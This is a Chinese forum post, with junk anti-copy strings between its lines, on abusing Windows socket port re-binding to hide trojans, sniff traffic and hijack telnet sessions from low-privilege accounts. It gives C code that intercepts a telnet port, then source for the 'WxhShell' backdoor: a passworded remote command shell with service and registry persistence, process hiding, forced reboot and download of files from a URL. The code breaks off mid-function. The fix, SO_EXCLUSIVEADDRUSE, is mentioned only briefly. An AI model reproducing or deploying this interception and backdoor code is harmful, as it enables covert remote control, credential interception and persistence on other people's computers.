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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: G0^,@jF?b  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); FcI ZG _  
h F4gz*Q  
  saddr.sin_family = AF_INET; E2%{?o  
27CVAX ghV  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); +[C><uP  
\'[C_+;X  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 5<=ktA48[  
W%,h{  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 FsTl@zN  
1nAAs;`'  
  这意味着什么?意味着可以进行如下的攻击: XxeyGs^%9  
fk!P#  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 h^aUVuL/  
2nsW)bd  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) YVT\@+C'  
%!HBPLk  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 4Y!_tZ>  
66jL2XU<  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  HgfeSH  
xmp^`^v*  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 CgxGvM4  
`k.Nphx~%  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Vh o3I[C  
n+qa/<  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 _G1C5nkDl4  
?loP18S b  
  #include xzrA%1y  
  #include s;NPY  
  #include XkE'k;AEx  
  #include    Z.x9SEe1t  
  DWORD WINAPI ClientThread(LPVOID lpParam);   @Z{!T)#}j  
  int main() %`b %TH^  
  { XI8rU)q  
  WORD wVersionRequested; tLc 9-  
  DWORD ret; rV6SN.  
  WSADATA wsaData; blHJhB&8  
  BOOL val; #OE]'k Ss  
  SOCKADDR_IN saddr; < X&{6xu  
  SOCKADDR_IN scaddr; } 0^wJs  
  int err; Z<M?_<3  
  SOCKET s; B$)&;Q  
  SOCKET sc; B!iz=+RNC1  
  int caddsize; >ngP\&\  
  HANDLE mt; {S 2? }  
  DWORD tid;   5L%\rH&N  
  wVersionRequested = MAKEWORD( 2, 2 ); s J~WzQ  
  err = WSAStartup( wVersionRequested, &wsaData ); 2C@s-`b   
  if ( err != 0 ) { kntM  
  printf("error!WSAStartup failed!\n"); .*acw  
  return -1; 8&2W^f5  
  } )xPfz  
  saddr.sin_family = AF_INET; "1X@t'H38  
   e/* T,ZJ  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 8"5^mj  
%V2A}78  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); hErO.ad1o  
  saddr.sin_port = htons(23); [\ALT8vC?m  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) E%tGwbi7  
  { *~H\#N|x  
  printf("error!socket failed!\n"); W2 p&LP  
  return -1; b0n " J`  
  } %M KZ':m  
  val = TRUE; Wd78 bu|  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 !T3b ]0z  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 0'Y'K6hG`  
  { @GrQ /F7  
  printf("error!setsockopt failed!\n"); z3+7gp+I;  
  return -1; i<ug("/  
  } <f+ 9wuZ  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 1NI%J B  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 hNWZ1r~_  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 $V?h68[c  
=MCQNyf+  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) pjVF^gv,*  
  { [n!5!/g>j  
  ret=GetLastError(); XI"8d.VR  
  printf("error!bind failed!\n"); [Kc"L+H\  
  return -1; QW[ gDc  
  } I&lb5'6D  
  listen(s,2); ^w1&A 3=6  
  while(1) {6,  l#z  
  { ;5TQH_g  
  caddsize = sizeof(scaddr); /6@~XO) w  
  //接受连接请求 jXu)%<  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); zv>3Tc0R  
  if(sc!=INVALID_SOCKET) : #om6}   
  { 9S8>"w^R  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 2$OI(7b=  
  if(mt==NULL) XNd%3rm,  
  { 7>sNjOt@M  
  printf("Thread Creat Failed!\n"); 5l]G1+  
  break; %D9,Femt  
  } o:x,zfW  
  } WVa#nU^  
  CloseHandle(mt); >3\($<YDZM  
  } vC1D}=Fp  
  closesocket(s); 5UU1HC;C  
  WSACleanup(); YA,vT[kX  
  return 0; TcjTF|q>  
  }   piv/QP-X  
  DWORD WINAPI ClientThread(LPVOID lpParam) [>^xMF]$2  
  { ecg>_%.>  
  SOCKET ss = (SOCKET)lpParam; S.Rqu+  
  SOCKET sc; S( nZ]QEG  
  unsigned char buf[4096];  +?I 1Og  
  SOCKADDR_IN saddr; { t1|6R0  
  long num; F!yr};@^p  
  DWORD val; _${//`ia=  
  DWORD ret; q5D_bm7,3  
  //如果是隐藏端口应用的话,可以在此处加一些判断 `mt. =d  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   njoU0f1`  
  saddr.sin_family = AF_INET; ) }.<lSw  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); =iZj&B X  
  saddr.sin_port = htons(23); ,k=1 '7d  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) hynX5,p;.  
  { dd=' ;%?  
  printf("error!socket failed!\n"); -hjGPu  
  return -1; RqnT*  
  } +dB/SC-^U  
  val = 100; =!pfgE  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) e_iXR#bZc  
  { yi-S^  
  ret = GetLastError(); =:~%$5[[  
  return -1; FR%u1fi  
  } PRo;NE  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) A"$UU6Z4  
  { Aqp$JM >  
  ret = GetLastError(); FdZG%N>Z  
  return -1; :p6.v>s8  
  } djGzJLH  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) +2WvGRC  
  { 'tRaF  
  printf("error!socket connect failed!\n"); s2'] "wM  
  closesocket(sc); &t0toEj  
  closesocket(ss); T+9#&  
  return -1; Fy!-1N9|l  
  } gXzp$#  
  while(1) :fW\!o 8Z2  
  { GLIe8T*ht  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 N9s ,..  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 2S`D7R#6s  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 vI)-Zz[3  
  num = recv(ss,buf,4096,0); J#L"kz  
  if(num>0) ag~4m5n*~  
  send(sc,buf,num,0); K$K6,54y  
  else if(num==0) }>|!Mf]W?R  
  break; X?Yp=%%  
  num = recv(sc,buf,4096,0); >AsrPU[  
  if(num>0) Z[&7NJo(  
  send(ss,buf,num,0);  ,m^@S  
  else if(num==0) w)u6J ,  
  break; ED>T2.:{  
  } bOKgR{i  
  closesocket(ss); ,*Vt53@E  
  closesocket(sc); I,pI2  
  return 0 ; +d=cI  
  } EP ;TfWc}1  
B > sTM  
$2?10}mrx  
========================================================== AlQE;4yX  
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下边附上一个代码,,WXhSHELL H%AF,  
fNkN  
========================================================== No1*~EQ  
w&F/P]1  
#include "stdafx.h" H$j`75#u?-  
) C?emTih  
#include <stdio.h> 5NT?A,r"  
#include <string.h> p` '8M  
#include <windows.h> u\,("2ZW9+  
#include <winsock2.h> y&$mN  
#include <winsvc.h> %#^)hX,+Q  
#include <urlmon.h> Z6Owxqfht  
Ul41R Ny)  
#pragma comment (lib, "Ws2_32.lib") f-!A4eKe  
#pragma comment (lib, "urlmon.lib") $Bd13%>)  
%^r}$mfy:0  
#define MAX_USER   100 // 最大客户端连接数 Gl+Ql?|  
#define BUF_SOCK   200 // sock buffer kN99(  
#define KEY_BUFF   255 // 输入 buffer :())%Xu3  
qg(rG5kD@  
#define REBOOT     0   // 重启 X9d~r_2&m<  
#define SHUTDOWN   1   // 关机 /61P`1y(J  
f"8!uE*;  
#define DEF_PORT   5000 // 监听端口 ^3q o%=i  
~|7jz;$V  
#define REG_LEN     16   // 注册表键长度 99<0xN(25  
#define SVC_LEN     80   // NT服务名长度 KG5h$eM'  
kDrqV{_  
// 从dll定义API m ^O9G?  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); n<. T6  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); quvdm68  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 7i,Z c]  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ;T6x$e  
j#`d%eQ~J  
// wxhshell配置信息 #DL( %=:  
struct WSCFG { oZY2K3J)  
  int ws_port;         // 监听端口 2`-yzm  
  char ws_passstr[REG_LEN]; // 口令 Xg](V.B6  
  int ws_autoins;       // 安装标记, 1=yes 0=no RnA>oKc  
  char ws_regname[REG_LEN]; // 注册表键名 gx*rxid  
  char ws_svcname[REG_LEN]; // 服务名 x@@U&.1_A  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 L;n2,b  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 J:{$\m'  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 S @EkrC\4n  
int ws_downexe;       // 下载执行标记, 1=yes 0=no .>K):|Opv  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" P [.BK  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 v0ng M)^q  
b0~AN#Es  
}; ~m]sJpW<"  
E27N1J+1  
// default Wxhshell configuration |Bv?! sjf  
struct WSCFG wscfg={DEF_PORT, yWs_Z6b  
    "xuhuanlingzhe", ~"Pu6-\VT  
    1, `@Q%}J  
    "Wxhshell", ~B NLzt3%O  
    "Wxhshell", w_gPX0N}3n  
            "WxhShell Service", !_EaF`oh(  
    "Wrsky Windows CmdShell Service", i&r56m<  
    "Please Input Your Password: ", 3E!#?N|v  
  1, XYKWOrkQqa  
  "http://www.wrsky.com/wxhshell.exe", j:yQP# U  
  "Wxhshell.exe" Whf7J'  
    }; ]m#.MZe  
4)o_gm~6c4  
// 消息定义模块 UeG$lMV  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; SX{sh M2  
char *msg_ws_prompt="\n\r? for help\n\r#>"; yMQuM :d  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; yAu-BObD  
char *msg_ws_ext="\n\rExit."; /ry# q% ?  
char *msg_ws_end="\n\rQuit."; 6~ *w~U  
char *msg_ws_boot="\n\rReboot..."; H$:Z`CQt<  
char *msg_ws_poff="\n\rShutdown..."; VtR?/+8X  
char *msg_ws_down="\n\rSave to "; $GzTDq Y9@  
KPGX/l  
char *msg_ws_err="\n\rErr!"; >bf29tr  
char *msg_ws_ok="\n\rOK!"; 0L34)W  
hrwQh2sm  
char ExeFile[MAX_PATH]; hSgfp  
int nUser = 0; ZWC-<QO"<  
HANDLE handles[MAX_USER]; 6,"fH{Bd  
int OsIsNt; }),tk?\  
AxaabS$\  
SERVICE_STATUS       serviceStatus; <&7KcvBn"4  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; T K)Kq  
iY=M67V  
// 函数声明 4T-9F  
int Install(void); >H@ zP8  
int Uninstall(void); %!r>]M <  
int DownloadFile(char *sURL, SOCKET wsh); #?xhfSgr  
int Boot(int flag); RLypWjMx$  
void HideProc(void); hcw)qB,s  
int GetOsVer(void); KzQ\A!qG  
int Wxhshell(SOCKET wsl); f6 zT  
void TalkWithClient(void *cs); 6]i"lqb  
int CmdShell(SOCKET sock); D t~Jx\\  
int StartFromService(void); gI&& LwT4  
int StartWxhshell(LPSTR lpCmdLine); &%~2Wm  
Kilq Jg1%C  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Lm kv .XF  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); zMfr`&%e  
`laaT5G\y  
// 数据结构和表定义 8oSndfV  
SERVICE_TABLE_ENTRY DispatchTable[] = $XFiH~GI  
{ x%ZgLvdp,  
{wscfg.ws_svcname, NTServiceMain}, qll)  
{NULL, NULL} yZ[H&>  
}; [)}F4Jsz%  
\*}JdEHB  
// 自我安装 /znW$yh o  
int Install(void) h[D"O6 y  
{ (k9{&mPJ  
  char svExeFile[MAX_PATH]; ]Dm'J%P0}  
  HKEY key; |-N\?N9"  
  strcpy(svExeFile,ExeFile); &zsaVm8  
7xP>AU)y  
// 如果是win9x系统,修改注册表设为自启动 s(Of EzsH=  
if(!OsIsNt) { '`q&UPg]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { L\||#w   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); DLYk#d: q?  
  RegCloseKey(key); 0]l _qxv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { kji*7a?y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )bZS0f-  
  RegCloseKey(key); Y`S9mGR#  
  return 0; 'CT 8vt;  
    } ^l#Z*0@><~  
  } huu:z3{=J  
} 5Sd+Cc  
else { rn l~i  
g{@q  
// 如果是NT以上系统,安装为系统服务 6(4FC?Y7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); +'abAST t  
if (schSCManager!=0) X>w(^L*>  
{ ] (3e +JC  
  SC_HANDLE schService = CreateService +tL]qO BP  
  ( \|Pp%U [  
  schSCManager, (W3~r  
  wscfg.ws_svcname, jX^uNmb  
  wscfg.ws_svcdisp, ^[}^+  
  SERVICE_ALL_ACCESS, UY*3b<F}  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,  k%V#{t.  
  SERVICE_AUTO_START, *%L:soM'Ll  
  SERVICE_ERROR_NORMAL, `7qZ6Z3z@  
  svExeFile, =[!&&,c=  
  NULL, \2#>@6Sqrl  
  NULL, TI-8I)  
  NULL, @Otom'O  
  NULL, 1hj']#vBu  
  NULL zhH-lMNj-  
  ); >Ha tb bA  
  if (schService!=0) &MnS( 82L  
  { >3V{I'^^-  
  CloseServiceHandle(schService); T]d9tX-  
  CloseServiceHandle(schSCManager); h#9X0u7j  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); M]YK]VyG  
  strcat(svExeFile,wscfg.ws_svcname); Z@fMU2e=Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Jrd:6Z  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); v*'dA^Q  
  RegCloseKey(key); S6gg(nNe  
  return 0; :T(3!}4  
    } )J 4XM(  
  } hjywYd]8  
  CloseServiceHandle(schSCManager); GU'/-6-T  
} '#REbY5ev  
} "ewSh<t  
Fyy)665x/  
return 1; A+*M<W  
} !6hUTjhW7z  
_,:gSDW|  
// 自我卸载 VSa\X~  
int Uninstall(void) hER]%)#r  
{ ,$ L>  
  HKEY key; I/D (gY06<  
H(U`S  
if(!OsIsNt) { ,)3%@MwO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [k-Q89  
  RegDeleteValue(key,wscfg.ws_regname); lAU`7uE  
  RegCloseKey(key); wP.b2X_V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { A L|F Bd  
  RegDeleteValue(key,wscfg.ws_regname); HV@ C@wmg  
  RegCloseKey(key); Su99A.w  
  return 0; d 6 t#4!  
  } ?yop#tjCbY  
} rf_(pp)  
} fB+4mEG@  
else { (055>D6  
<&:OSd:%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Zq7Y('=`t@  
if (schSCManager!=0) };"-6e/9  
{ 9fr LYJz"  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !t/I j~o  
  if (schService!=0) f QSP]?  
  { R{"Kh2q_  
  if(DeleteService(schService)!=0) { Mz,G;x}  
  CloseServiceHandle(schService); BH"f\oc  
  CloseServiceHandle(schSCManager); x5[wF6A  
  return 0; mm(Ff>O  
  } mOG;[CB  
  CloseServiceHandle(schService); \^O&){q(9  
  } 4lMf'V7*l  
  CloseServiceHandle(schSCManager); K TJm[44  
} ? S^ U-.`  
} rEEoR'c6  
(D5 dN\  
return 1; 8."B  
} rw(EI,G  
D?ojxHe  
// 从指定url下载文件 +VxzWNs*JP  
int DownloadFile(char *sURL, SOCKET wsh) 34S0W]V  
{ &Z!O   
  HRESULT hr;  [@YeQ{  
char seps[]= "/"; Q!7il<S  
char *token; A)"?GK{*  
char *file; KwO;ICdJ  
char myURL[MAX_PATH]; PhTMXv<cE  
char myFILE[MAX_PATH]; J?VMQTa/+  
/U\k<\1~m  
strcpy(myURL,sURL); }pqnF53  
  token=strtok(myURL,seps); Z4 y9d?g%b  
  while(token!=NULL) D@@J7  
  { '/l<\b/E  
    file=token; bzYj`t?  
  token=strtok(NULL,seps); LY Y3*d  
  } 9yla &XTD  
% NSb8@  
GetCurrentDirectory(MAX_PATH,myFILE); DJ)Q,l*|N9  
strcat(myFILE, "\\"); MvV\?Lzj   
strcat(myFILE, file); _Q XC5i  
  send(wsh,myFILE,strlen(myFILE),0); FI|jsO 3  
send(wsh,"...",3,0); cQM_kV??!  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); E6+c{41B  
  if(hr==S_OK) wD+4#=/j  
return 0; L\;n[,.  
else "m2g"x a\7  
return 1; ndW]S7  
_{$eOwB  
} r"HQ>Wn  
ZSWKVTi  
// 系统电源模块 pjG/`  
int Boot(int flag) 'Lm\ r+$F  
{ W}^X;f  
  HANDLE hToken; zsM3 [2E*  
  TOKEN_PRIVILEGES tkp; t5t!-w\M$+  
g~ubivl2  
  if(OsIsNt) { T$ w`=7  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); VINb9W}G[  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 8NP|>uaj  
    tkp.PrivilegeCount = 1; T,G38  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; )>-94xx|  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); D1G9^7:^E  
if(flag==REBOOT) { wz[Xay9jW  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) rnNB!T   
  return 0; 4v[Zhf4JM  
} vGX L'k  
else { LR`]C]  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *z?Vy<u G  
  return 0; r@WfZ  Z  
} ]*/%5ZOI&  
  } sKu/VAh x  
  else { g/3t@7*<  
if(flag==REBOOT) { <D}yqq@|  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) RX])#=Cs  
  return 0; #!yW)RG  
} ;q5.\m:  
else { gXy'@ !  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) pc+'/~  
  return 0; ,M?K3lG\g[  
} *OM+d$l!  
} OdSglB  
U7_1R0h  
return 1; gPJZpaS  
} H;D CkVL  
1 r9.JS  
// win9x进程隐藏模块 7cMHzh k^  
void HideProc(void) m7 $t$/g  
{ ==!k99`f,  
h85 kQ^%  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %+8" -u  
  if ( hKernel != NULL ) cPp<+ ts  
  { $R&K-;D/8  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); v?O6|0#x  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); GS)4,.  
    FreeLibrary(hKernel); c9/&A  
  } %96l(JlJ)B  
HI\V29 a  
return; Fo.p}j+>  
} 'nQQqx%v  
lnQfpa8j  
// 获取操作系统版本 JmBe1"hs  
int GetOsVer(void) ^.g BHZ  
{ UlD]!5NO  
  OSVERSIONINFO winfo;  I?R?rW  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); `fM]3]x>  
  GetVersionEx(&winfo); E7`Q =4@e  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) KAI/*G\z  
  return 1; @h E7F}  
  else wg}rMJoG|  
  return 0; 4 Q<c I2|  
} wAA9M4  
is6M{K3  
// 客户端句柄模块 JqTR4[`Z\  
int Wxhshell(SOCKET wsl) Dkyw3*LCn%  
{ ;N?raz2mEi  
  SOCKET wsh;  8 ?4/  
  struct sockaddr_in client; -Cc2|~n  
  DWORD myID; g3*J3I-O  
bAwFC2jO[  
  while(nUser<MAX_USER) }trQ<*D  
{  k:i}xKu  
  int nSize=sizeof(client); =yCz!vc  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ir<K"wi(2  
  if(wsh==INVALID_SOCKET) return 1; L (@".{T  
EC8Fapy  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); \Y$@$)   
if(handles[nUser]==0) D:=Q)Uh0I  
  closesocket(wsh); ^&!iqK2o  
else /cC4K\M  
  nUser++; H[J5A2b  
  } I&Z+FL&@f  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); d>gN3}tT  
.|c=]_{  
  return 0; [,TK"  
} o?`^ UG-   
L7"B`oa(p  
// 关闭 socket #>_5PdO  
void CloseIt(SOCKET wsh) ?Zh,W(7W  
{ M $\!SXL  
closesocket(wsh); 79d< ,q;uR  
nUser--; Sau?Y  
ExitThread(0); [J\! 2\Oo  
} g!I0UAm  
Wagb|B\  
// 客户端请求句柄 qBF}-N_  
void TalkWithClient(void *cs) $,8}3R5}  
{ J/>9w  
["BD,mB  
  SOCKET wsh=(SOCKET)cs; Xf%wW[~  
  char pwd[SVC_LEN]; ojbms>a  
  char cmd[KEY_BUFF]; i~ITRi@  
char chr[1]; 7*C>4Gs  
int i,j; W%P$$x5&  
<7*d2  
  while (nUser < MAX_USER) { W{X5~w(  
8dlhL8#  
if(wscfg.ws_passstr) { 7OdJ&Gzd  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Xmv^O  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *T-v^ndJh  
  //ZeroMemory(pwd,KEY_BUFF); 9iM[3uyO  
      i=0; `7 3I}%?  
  while(i<SVC_LEN) { M d.^r5r  
xY@<<  
  // 设置超时 >p>B-m  
  fd_set FdRead; gxCl=\  
  struct timeval TimeOut; 60X))MyN  
  FD_ZERO(&FdRead); ]EfM;'j[  
  FD_SET(wsh,&FdRead); L8~zQV$h  
  TimeOut.tv_sec=8; O`TM}  
  TimeOut.tv_usec=0; ,jJbQIu#  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 3Q2z+`x'  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); V]6CHE:BS  
_5H0<%\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); m/p:W/0L  
  pwd=chr[0]; !CUX13/0  
  if(chr[0]==0xd || chr[0]==0xa) { CH] +S>$  
  pwd=0; qs3V2lvYw{  
  break; '"]QAj?N  
  } 5K {{o''  
  i++; UO}Yr8Z;  
    } z c&i 4K  
>"<<hjKJ  
  // 如果是非法用户,关闭 socket dH~i  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Ak+MR EG  
} t$(<9  
g n 6@x  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2T3b6  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); nD}CQ_C  
JqP~2,T  
while(1) { 9k3RC}dEr  
v 0D@`C  
  ZeroMemory(cmd,KEY_BUFF); a n|bzG  
&e;GoJ  
      // 自动支持客户端 telnet标准   4N_iHe5U  
  j=0; B; r` 1 G  
  while(j<KEY_BUFF) { r@ v&~pL  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); r%vO^8FQ  
  cmd[j]=chr[0]; _)-y&  
  if(chr[0]==0xa || chr[0]==0xd) { 3?uah' D5  
  cmd[j]=0; O%m>4OdH  
  break;  ^9 Pae)  
  } b9"HTQHl  
  j++; Ry"N_Fb  
    } 905Lk>rB  
>m4HCs>  
  // 下载文件 l]F)]>AE  
  if(strstr(cmd,"http://")) { :za:gs0  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); I@l }%L  
  if(DownloadFile(cmd,wsh)) YV)h"u+@0  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); B;^YHWJ6i  
  else d/l>~%bR  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v<V9Z <ub  
  } Hi#f Qji  
  else { LseS8F/q  
]C5/-J,F  
    switch(cmd[0]) { 2M*84oh8P  
  7"s8G 7  
  // 帮助 lJdwbuB6  
  case '?': { xF7q9'/F  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); E2( {[J  
    break; C~8;2/F7  
  } 7|^5E*8/  
  // 安装 A)641"[  
  case 'i': { 6 i'kc3w  
    if(Install()) );1UbqVPD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2sYOO>  
    else <XH,kI(%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u8Oo@xf0Fr  
    break;  9t_N 9@  
    } zi= gOm  
  // 卸载 $-"V 2  
  case 'r': { F.@U X{J  
    if(Uninstall()) :{M1]0 NH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "Is0:au+?}  
    else S|/Za".Gr  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]_y0wLq  
    break; /..a9x{At>  
    } ibv.M=  
  // 显示 wxhshell 所在路径 H* vd  
  case 'p': { 0/,Dy2h  
    char svExeFile[MAX_PATH]; faPgp  
    strcpy(svExeFile,"\n\r"); )=6o  ,  
      strcat(svExeFile,ExeFile); #({ 9M  
        send(wsh,svExeFile,strlen(svExeFile),0); Gu5%Pou  
    break; +w9X$<?_  
    } %tT=q^%5  
  // 重启 mFW/xZwR,5  
  case 'b': { ?b3({P  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6/l{e)rX2o  
    if(Boot(REBOOT)) w6@8cNXK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n}toUqUnk\  
    else { 2; ~jKR[~  
    closesocket(wsh); 9P\R?~3  
    ExitThread(0); <v[UYvZvY  
    } ]97`=,OUg  
    break; mxkv{;ad  
    } Bxs0m]  
  // 关机 g"|Z1iy|9  
  case 'd': { ;SVAar4r  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); rLJjK$_x  
    if(Boot(SHUTDOWN)) *?s"~ XVs  
